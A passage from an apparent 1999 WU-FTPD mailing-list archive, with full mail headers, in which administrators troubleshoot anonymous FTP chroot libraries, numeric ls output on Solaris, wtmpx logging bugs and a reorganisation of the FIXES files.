Subject: AIX anon take 2 (fwd)
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Sender: [email protected]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I wrote, and listproc bounced:

> Well, it is definitely one of those days when I wonder if I should
> take up smoking.. or boxing. Didn't read the man page properly, so
> inetd didn't have the -a switch for ftpd. Someone shoot me please.
> Now to find out why ls returns no files.

Thanks to the quick replies on the first problem.. and the FAQ
answered my second one. Now to go and get some sleep..

--

Duncan Hill Penn College Proud - www.pct.edu
One net to rule them all, One net to find them,
One net to bring them all, and using Unix bind them.

From [email protected] Mon Mar 8 17:26:17 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id RAA16404;
Mon, 8 Mar 1999 17:26:16 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id RAA25311;
Mon, 8 Mar 1999 17:20:29 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id RAA29003
for <[email protected]>; Mon, 8 Mar 1999 17:19:43 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id SAA28465;
Mon, 8 Mar 1999 18:19:30 -0500
Message-Id: <[email protected]>
Date: Mon, 8 Mar 1999 18:19:30 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: James McMahon <[email protected]>
Cc: "Bitar, Martin (NCI)" <[email protected]>,
"'[email protected]'" <[email protected]>
Subject: Re: HELP!!!
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 9 Mar 1999, James McMahon wrote:

> In summary ... If you upgrade to Beta15 or Beta16, it will work as you
..VR15 or VR16 ...
> expect, but I would still recommend you modify your ftphosts file to
> use CIDR or address:netmask notation.

I hope I didn't confuse beta and VR numbers like that. not that it'd
surprise me if I did, my heads been so groggy with this cold lately ...

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 8 17:49:44 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id RAA16715;
Mon, 8 Mar 1999 17:49:43 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id RAA10234;
Mon, 8 Mar 1999 17:46:18 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id RAA27911
for <[email protected]>; Mon, 8 Mar 1999 17:45:42 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id SAA28638
for <[email protected]>; Mon, 8 Mar 1999 18:45:39 -0500
Message-Id: <[email protected]>
Date: Mon, 8 Mar 1999 18:45:39 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: WU-FTPD Discussion List <[email protected]>
Subject: Ftp-WG: Document Action: FTP Security Considerations to
Informational (fwd)
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

---------- Forwarded message ----------
Date: Mon, 8 Mar 1999 18:21:49 -0500
From: The IESG <[email protected]>
Reply-To: FTPEXT Working Group <[email protected]>
To: IETF-Announce: ;
Subject: Ftp-WG: Document Action: FTP Security Considerations to Informational

The IESG has approved the Internet-Draft 'FTP Security Considerations'
<draft-ietf-ftpext-sec-consider-01.txt> as an Informational RFC. This
document is the product of the Extensions to FTP Working Group. The
IESG contact persons are Keith Moore and Patrik Faltstrom.

From [email protected] Mon Mar 8 18:03:14 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id SAA16899;
Mon, 8 Mar 1999 18:03:13 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id RAA17875;
Mon, 8 Mar 1999 17:59:10 -0600 (CST)
Received: from aventurine.sge.net (aventurine.sge.net [152.91.14.25])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id RAA02865
for <[email protected]>; Mon, 8 Mar 1999 17:54:54 -0600 (CST)
Received: from titanium.sge.net ([email protected] [152.91.9.2])
by aventurine.sge.net (8.9.3/8.9.3) with ESMTP id KAA03594;
Tue, 9 Mar 1999 10:54:37 +1100 (EST)
Received: (from uucp@localhost)
by titanium.sge.net (8.8.5/8.8.5) id KAA17123;
Tue, 9 Mar 1999 10:54:37 +1100 (EST)
Received: from kryptonite.sge.net(10.1.2.11) by titanium.sge.net via smap (3.2)
id xma016769; Tue, 9 Mar 99 10:54:02 +1100
Received: from amber. (ice-int2.sge.net [10.1.2.254])
by kryptonite.sge.net (8.9.3/8.9.3) with SMTP id KAA10429;
Tue, 9 Mar 1999 10:54:01 +1100 (EST)
Message-Id: <[email protected]>
Date: Tue, 09 Mar 1999 10:52:57 +1100
Reply-To: [email protected]
Sender: [email protected]
From: James McMahon <[email protected]>
To: Gregory A Lundberg <[email protected]>
Cc: James_McMahon/STAFF/[email protected],
"Bitar, Martin (NCI)" <[email protected]>,
"'[email protected]'" <[email protected]>
Subject: Re: HELP!!!
References: <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.06 [en] (WinNT; I)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Aaargghhhh -- oops - that was a bit silly wasn't it. As Gregory quite
rightly pointed out, I meant
VR15 or VR16

James

Gregory A Lundberg wrote:

> On Tue, 9 Mar 1999, James McMahon wrote:
>
> > In summary ... If you upgrade to Beta15 or Beta16, it will work as you
> ...VR15 or VR16 ...
> > expect, but I would still recommend you modify your ftphosts file to
> > use CIDR or address:netmask notation.
>
> I hope I didn't confuse beta and VR numbers like that. not that it'd
> surprise me if I did, my heads been so groggy with this cold lately ...
>
> --
>
> Gregory A Lundberg Senior Partner, VRnet Company
> 1441 Elmdale Drive [email protected]
> Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 8 19:33:07 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id TAA21060;
Mon, 8 Mar 1999 19:33:06 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id TAA05845;
Mon, 8 Mar 1999 19:29:35 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id TAA04870
for <[email protected]>; Mon, 8 Mar 1999 19:28:25 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id UAA29403;
Mon, 8 Mar 1999 20:28:16 -0500
Message-Id: <[email protected]>
Date: Mon, 8 Mar 1999 20:28:16 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Nikos Mouat <[email protected]>
Cc: [email protected]
Subject: Fair warning
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 4 Mar 1999, Nikos Mouat wrote:

> Can we move all the 'FIXES-*' files out of the main distribution
> directory? Maybe into doc/history or doc/fixes or something? They
> don't seem to be appropriate in the main directory.

**** FAIR WARNING ****

To those of you who like to diff the VR updates to see what's changed, or
apply the patches instead of taking the pre-patched tarballs:

mkdir doc/FIXES
mv FIXES* doc/FIXES

will be required for VR17.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

--

Index: FIXES-2.4.2-VR17
===================================================================
RCS file: /cvsroot/wu-ftpd/doc/FIXES/FIXES-2.4.2-VR17,v
retrieving revision 1.3
diff -r1.3 FIXES-2.4.2-VR17
59a60,64
> Nikos Mouat <[email protected]> requested the FIXES-* files be moved from
> the main directory. Good point, they are starting to cutter things up.
> I've moved them to the directory doc/FIXES .. this will cause problems for
> people running diff to see what's changed but they'll have to live with it.
>

From [email protected] Mon Mar 8 20:04:56 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id UAA23917;
Mon, 8 Mar 1999 20:04:55 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id UAA17398;
Mon, 8 Mar 1999 20:01:27 -0600 (CST)
Received: from hamachi.synopsys.com (hamachi.synopsys.com [204.176.20.26])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id TAA10633
for <[email protected]>; Mon, 8 Mar 1999 19:57:42 -0600 (CST)
Received: from marathon.synopsys.com (marathon.synopsys.com [146.225.100.41])
by hamachi.synopsys.com (8.8.8/8.8.5) with ESMTP id RAA00634
for <[email protected]>; Mon, 8 Mar 1999 17:57:10 -0800 (PST)
Received: from gargoyle.synopsys.com (gargoyle.synopsys.com [146.225.96.28])
by marathon.synopsys.com (8.8.8/8.8.8) with SMTP id RAA14943
for <[email protected]>; Mon, 8 Mar 1999 17:57:09 -0800 (PST)
Received: by gargoyle.synopsys.com (SMI-8.6/SNPS-Sol2)
id RAA10930; Mon, 8 Mar 1999 17:57:09 -0800
Message-Id: <[email protected]>
Date: Mon, 8 Mar 1999 17:57:09 -0800
Reply-To: [email protected]
Sender: [email protected]
From: Greg Bulman - EST Contractor <[email protected]>
To: [email protected]
Subject: Problem getting numeric username/groups w/ ls
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I'm running wu-ftpd 2.4.2, under Solaris 2.5.1. We also have several
running instances of various wu-ftpd 2.4 - 2.4.2Beta15 running on
Solaris 2.5.1 behaving the same. I've used the Solaris provided man
page in.ftpd script for setting up the ftp directory.

I cannot figure out how to get the username rather than the userid
(and groups too) when doing an "ftp> ls -l" (or a dir BTW).

I've read through the FAQ and nothing really seemed to point to the
problem. I've triple checked my ~ftp/etc/passwd,group files and they
appear to be what's expected.

Any other pointers folks?
-gbulman
--------------------------------------------------------------------------------
Greg Bulman [email protected]
UNIX Systems Administrator
Synopsys, Inc.
--------------------------------------------------------------------------------

From [email protected] Mon Mar 8 20:17:46 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id UAA24611;
Mon, 8 Mar 1999 20:17:46 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id UAA17528;
Mon, 8 Mar 1999 20:14:17 -0600 (CST)
Received: from gatekeep.ti.com (gatekeep.ti.com [192.94.94.61])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id UAA09588
for <[email protected]>; Mon, 8 Mar 1999 20:12:24 -0600 (CST)
Received: from spanky.dal.asp.ti.com ([172.24.154.20]) by gatekeep.ti.com (8.8.8) with ESMTP id UAA02083; Mon, 8 Mar 1999 20:11:52 -0600 (CST)
Received: from pavis.asic.sc.ti.com (pavis.asic.sc.ti.com [128.247.100.46])
by spanky.dal.asp.ti.com (8.8.8+Sun/8.8.8/FL-ASP-1.9) with SMTP id UAA13207;
Mon, 8 Mar 1999 20:11:52 -0600 (CST)
Received: by pavis.asic.sc.ti.com id <[email protected]>; Mon, 8 Mar 99 20:11:51 -0600
Message-Id: <[email protected]>
Date: Mon, 8 Mar 99 20:11:51 CST
Reply-To: [email protected] (Bob Luckin)
Sender: [email protected]
From: Bob Luckin <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: Problem getting numeric username/groups w/ ls
In-Reply-To: <[email protected]>; from "Greg Bulman - EST Contractor" at Mar 8, 99 5:57 pm
X-Mimi-Options: HEADERS TI2
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Greg said :-
> I'm running wu-ftpd 2.4.2, under Solaris 2.5.1. We also have several
> running instances of various wu-ftpd 2.4 - 2.4.2Beta15 running on
> Solaris 2.5.1 behaving the same. I've used the Solaris provided man
> page in.ftpd script for setting up the ftp directory.
>
> I cannot figure out how to get the username rather than the userid
> (and groups too) when doing an "ftp> ls -l" (or a dir BTW).
>
> I've read through the FAQ and nothing really seemed to point to the
> problem. I've triple checked my ~ftp/etc/passwd,group files and they
> appear to be what's expected.
>
> Any other pointers folks?

If you're not seeing the names which are in your ~ftp/etc/passwd, then my
guess is that you're missing a library from ~ftp/usr/lib, which ls needs
to map the id to the name in the file.

I had this problem a couple of years ago - unfortunately, I can't remember
which library I had to copy over to fix the problem. But you can try running
chrooted under truss to see what shows up. (libnsl.so comes to mind for
some reason, but it could have been one of the others.)

Cheers, Bob
--
Bob Luckin [email protected] "Coder, adapt. FTP Ada, redo C"
[http://www.dhc.net/~luckin/palindromes.html]

From [email protected] Mon Mar 8 20:24:14 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id UAA24853;
Mon, 8 Mar 1999 20:24:13 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id UAA32263;
Mon, 8 Mar 1999 20:20:37 -0600 (CST)
Received: from hamachi.synopsys.com (hamachi.synopsys.com [204.176.20.26])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id UAA20126
for <[email protected]>; Mon, 8 Mar 1999 20:17:17 -0600 (CST)
Received: from marathon.synopsys.com (marathon.synopsys.com [146.225.100.41])
by hamachi.synopsys.com (8.8.8/8.8.5) with ESMTP id SAA06077
for <[email protected]>; Mon, 8 Mar 1999 18:16:46 -0800 (PST)
Received: from gargoyle.synopsys.com (gargoyle.synopsys.com [146.225.96.28])
by marathon.synopsys.com (8.8.8/8.8.8) with SMTP id SAA16285
for <[email protected]>; Mon, 8 Mar 1999 18:16:45 -0800 (PST)
Received: by gargoyle.synopsys.com (SMI-8.6/SNPS-Sol2)
id SAA10969; Mon, 8 Mar 1999 18:16:45 -0800
Message-Id: <[email protected]>
Date: Mon, 8 Mar 1999 18:16:45 -0800
Reply-To: [email protected]
Sender: [email protected]
From: Greg Bulman - EST Contractor <[email protected]>
To: [email protected]
Subject: Problem w/ Solaris /var/adm/wtmpx and /usr/bin/last(1)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I'm running wu-ftpd 2.4.2, built and running under Solaris 2.5.1.

/usr/bin/last doesn't show the ftp sessions correctly. The session
closes aren't updated in the accounting file correctly. A new ftp
session logs the previous session as closed. As a result you only
see one ftp session as "still logged in", and the time elapsed fields
are completely useless.

I tried it in several Beta versions with the same incorrect results.

It does seem particular to Solaris. The same src code works fine built
and running under SunOS 4.x, and IRIX 6.2.

Before I file a bug report I'd like to verify these results with others.
Has anyone seen wu-ftpd 2.4.x work under Solaris 2.x?

Thanks in Advance,
-gbulman
--------------------------------------------------------------------------------
Greg Bulman [email protected]
UNIX Systems Administrator
Synopsys, Inc.
--------------------------------------------------------------------------------

From [email protected] Mon Mar 8 20:30:35 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id UAA25125;
Mon, 8 Mar 1999 20:30:34 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id UAA13690;
Mon, 8 Mar 1999 20:27:06 -0600 (CST)
Received: from mail1.dh.trw.com (mail1.dh.trw.com [129.193.109.1])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id UAA25636
for <[email protected]>; Mon, 8 Mar 1999 20:26:36 -0600 (CST)
Received: from trw.com ([129.4.74.179]) by mail1.dh.trw.com
(Netscape Messaging Server 3.5) with ESMTP id AAA6B5F;
Mon, 8 Mar 1999 18:26:04 -0800
Message-Id: <[email protected]>
Date: Mon, 08 Mar 1999 18:26:03 -0800
Reply-To: [email protected]
Sender: [email protected]
From: "Scott Parmenter" <[email protected]>
To: "[email protected]" <[email protected]>
Cc: [email protected]
Subject: Re: Problem getting numeric username/groups w/ ls
References: <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.04 [en] (Win95; U)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

[email protected] wrote:

> Any other pointers folks?

One thing to check for is if "nscd" (name service cache daemon) is running. If it
is, then your ~ftp/etc/passwd and ~ftp/etc/group files may not be getting read.

If "nscd" is running, check out the "nscd" and "nscd.conf" man pages.

Scott

From [email protected] Mon Mar 8 20:56:39 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id UAA26873;
Mon, 8 Mar 1999 20:56:38 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id UAA02948;
Mon, 8 Mar 1999 20:53:11 -0600 (CST)
Received: from hamachi.synopsys.com (hamachi.synopsys.com [204.176.20.26])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id UAA31636
for <[email protected]>; Mon, 8 Mar 1999 20:51:36 -0600 (CST)
Received: from marathon.synopsys.com (marathon.synopsys.com [146.225.100.41])
by hamachi.synopsys.com (8.8.8/8.8.5) with ESMTP id SAA15527;
Mon, 8 Mar 1999 18:51:03 -0800 (PST)
Received: from gargoyle.synopsys.com (gargoyle.synopsys.com [146.225.96.28])
by marathon.synopsys.com (8.8.8/8.8.8) with SMTP id SAA18074;
Mon, 8 Mar 1999 18:51:02 -0800 (PST)
Received: by gargoyle.synopsys.com (SMI-8.6/SNPS-Sol2)
id SAA11017; Mon, 8 Mar 1999 18:51:02 -0800
Message-Id: <[email protected]>
Date: Mon, 8 Mar 1999 18:51:02 -0800
Reply-To: [email protected]
Sender: [email protected]
From: Greg Bulman - EST Contractor <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: Problem getting numeric username/groups w/ ls
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-MD5: 2Faa+LqWNfZxjiQrcWplrA==
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

One of those, Uh, Oh Yeah, Duh steps. I had done the first step ...
chroot ~ftp /bin/ls -l /etc
which showed me the same bad results. Taking it a step further (the duh step)
truss chroot ~ftp /bin/ls -l /etc
quickly gave me the missing library ...
open("/usr/lib/libmp.so.1", O_RDONLY) Err#2 ENOENT

Many thanks to Bob Luckin for his quick and correct reply.
I was missing libmp.so.1 in ~ftp/usr/lib. I copied it over and ls -l
correctly yields alpha usernames/groups.

Thanks in Advance to any other replies. Help is always very welcome.
-gbulman

> From: Bob Luckin <[email protected]>
> Subject: Re: Problem getting numeric username/groups w/ ls
>
> Greg said :-
> > I'm running wu-ftpd 2.4.2, under Solaris 2.5.1. We also have several
> > running instances of various wu-ftpd 2.4 - 2.4.2Beta15 running on
> > Solaris 2.5.1 behaving the same. I've used the Solaris provided man
> > page in.ftpd script for setting up the ftp directory.
> >
> > I cannot figure out how to get the username rather than the userid
> > (and groups too) when doing an "ftp> ls -l" (or a dir BTW).
> >
> > I've read through the FAQ and nothing really seemed to point to the
> > problem. I've triple checked my ~ftp/etc/passwd,group files and they
> > appear to be what's expected.
> >
> > Any other pointers folks?
>
> If you're not seeing the names which are in your ~ftp/etc/passwd, then my
> guess is that you're missing a library from ~ftp/usr/lib, which ls needs
> to map the id to the name in the file.
>
> I had this problem a couple of years ago - unfortunately, I can't remember
> which library I had to copy over to fix the problem. But you can try running
> chrooted under truss to see what shows up. (libnsl.so comes to mind for
> some reason, but it could have been one of the others.)
>
> Cheers, Bob
> --
> Bob Luckin [email protected] "Coder, adapt. FTP Ada, redo C"
> [http://www.dhc.net/~luckin/palindromes.html]

From [email protected] Mon Mar 8 21:02:56 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id VAA27619;
Mon, 8 Mar 1999 21:02:56 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id UAA32279;
Mon, 8 Mar 1999 20:59:29 -0600 (CST)
Received: from mail1.dh.trw.com (mail1.dh.trw.com [129.193.109.1])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id UAA15209
for <[email protected]>; Mon, 8 Mar 1999 20:58:00 -0600 (CST)
Received: from trw.com ([129.4.74.179]) by mail1.dh.trw.com
(Netscape Messaging Server 3.5) with ESMTP id AAA3C1;
Mon, 8 Mar 1999 18:57:29 -0800
Message-Id: <[email protected]>
Date: Mon, 08 Mar 1999 18:57:28 -0800
Reply-To: [email protected]
Sender: [email protected]
From: "Scott Parmenter" <[email protected]>
To: "[email protected]" <[email protected]>
Cc: [email protected]
Subject: Re: Problem w/ Solaris /var/adm/wtmpx and /usr/bin/last(1)
References: <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.04 [en] (Win95; U)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

[email protected] wrote:

> Before I file a bug report I'd like to verify these results with others.

Hadn't looked before now, but it looks like I get the same thing under TSOL 2.5.1.
In fact, a quick Netscape connection didn't get recorded at all. The account that
was at the top of the list who had logged out previous to the Netscape test was
still marked as logged in afterwards. Does this have something to do with the
duration of the connections?

Scott

From [email protected] Mon Mar 8 21:29:11 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id VAA00049;
Mon, 8 Mar 1999 21:29:09 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id VAA27353;
Mon, 8 Mar 1999 21:25:34 -0600 (CST)
Received: from aventurine.sge.net (aventurine.sge.net [152.91.14.25])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id VAA12838
for <[email protected]>; Mon, 8 Mar 1999 21:23:37 -0600 (CST)
Received: from titanium.sge.net ([email protected] [152.91.9.2])
by aventurine.sge.net (8.9.3/8.9.3) with ESMTP id OAA19779;
Tue, 9 Mar 1999 14:23:22 +1100 (EST)
Received: (from uucp@localhost)
by titanium.sge.net (8.8.5/8.8.5) id OAA00194;
Tue, 9 Mar 1999 14:23:21 +1100 (EST)
Received: from kryptonite.sge.net(10.1.2.11) by titanium.sge.net via smap (3.2)
id xma029844; Tue, 9 Mar 99 14:22:50 +1100
Received: from amber. (ice-int2.sge.net [10.1.2.254])
by kryptonite.sge.net (8.9.3/8.9.3) with SMTP id OAA02106;
Tue, 9 Mar 1999 14:22:50 +1100 (EST)
Message-Id: <[email protected]>
Date: Tue, 09 Mar 1999 14:21:46 +1100
Reply-To: [email protected]
Sender: [email protected]
From: James McMahon <[email protected]>
To: Scott Parmenter <[email protected]>
Cc: "[email protected]" <[email protected]>, [email protected]
Subject: Re: Problem w/ Solaris /var/adm/wtmpx and /usr/bin/last(1)
References: <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.06 [en] (WinNT; I)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I just did a quick test on a system running Solaris 2.6 and wu-ftpd 2.4.2 beta
18 VR 11 and found the same. Last indicated that the existing connection had
been closed and left one connection open when there were definately 2.

James

Scott Parmenter wrote:

> [email protected] wrote:
>
> > Before I file a bug report I'd like to verify these results with others.
>
> Hadn't looked before now, but it looks like I get the same thing under TSOL
> 2.5.1.
> In fact, a quick Netscape connection didn't get recorded at all. The
> account that
> was at the top of the list who had logged out previous to the Netscape test
> was
> still marked as logged in afterwards. Does this have something to do with
> the
> duration of the connections?
>
> Scott

From [email protected] Mon Mar 8 21:35:21 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id VAA00506;
Mon, 8 Mar 1999 21:35:20 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id VAA17894;
Mon, 8 Mar 1999 21:31:56 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id VAA13153
for <[email protected]>; Mon, 8 Mar 1999 21:29:53 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id WAA32483
for <[email protected]>; Mon, 8 Mar 1999 22:29:51 -0500
Message-Id: <[email protected]>
Date: Mon, 8 Mar 1999 22:29:51 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: WU-FTPD Discussion List <[email protected]>
Subject: Re: Problem w/ Solaris /var/adm/wtmpx and /usr/bin/last(1) (fwd)
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Can someone do some regression testing on Solaris?

---------- Forwarded message ----------
Date: Mon, 8 Mar 1999 22:26:58 -0500 (EST)
From: Gregory A Lundberg <[email protected]>
To: Scott Parmenter <[email protected]>
Cc: "[email protected]" <[email protected]>
Subject: Re: Problem w/ Solaris /var/adm/wtmpx and /usr/bin/last(1)

On Mon, 8 Mar 1999, Scott Parmenter wrote:

> > Before I file a bug report I'd like to verify these results with others.
>
> Hadn't looked before now, but it looks like I get the same thing under
> TSOL 2.5.1. In fact, a quick Netscape connection didn't get recorded
> at all. The account that was at the top of the list who had logged
> out previous to the Netscape test was still marked as logged in
> afterwards. Does this have something to do with the duration of the
> connections?

Changes were made to logwtmp.c in the following versions:

(before beta-12, I don't know)

beta-12 changes for SCO
beta-13 backed out SCO from beta-12, changes for FreeBSD
beta-16 name changed internally to wu_logwtmp
beta-18 added logged-in status
beta-18-vr10 changed from specific system test to NO_UTMPX

If this was working before, I'm thinking the change in Beta-18 broke it.

That or the switch to always use the local version of the function in
Beta-16 did.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 8 21:54:58 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id VAA01333;
Mon, 8 Mar 1999 21:54:57 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id VAA21328;
Mon, 8 Mar 1999 21:51:25 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id VAA04953
for <[email protected]>; Mon, 8 Mar 1999 21:47:04 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id WAA32643
for <[email protected]>; Mon, 8 Mar 1999 22:47:03 -0500
Message-Id: <[email protected]>
Date: Mon, 8 Mar 1999 22:47:03 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: WU-FTPD Discussion List <[email protected]>
Subject: Re: Problem w/ Solaris /var/adm/wtmpx and /usr/bin/last(1) (fwd)
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Mon, 8 Mar 1999, Gregory A Lundberg wrote:

> Changes were made to logwtmp.c in the following versions:
>
> (before beta-12, I don't know)
>
> beta-12 changes for SCO
> beta-13 backed out SCO from beta-12, changes for FreeBSD
> beta-16 name changed internally to wu_logwtmp
> beta-18 added logged-in status
> beta-18-vr10 changed from specific system test to NO_UTMPX

Actually, I can see that the utmpx stuff was added after 2.4 and before or
with beta-11.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 9 03:15:03 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id DAA11834;
Tue, 9 Mar 1999 03:15:02 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id DAA01684;
Tue, 9 Mar 1999 03:10:13 -0600 (CST)
Received: from galileo.padova.ccr.it (galileo.padova.ccr.it [194.177.67.39])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id DAA15006
for <[email protected]>; Tue, 9 Mar 1999 03:04:14 -0600 (CST)
Received: from kerrisdn.inet.it ([194.177.66.125])
by galileo.padova.ccr.it (8.8.8/8.8.8) with ESMTP id KAA09977
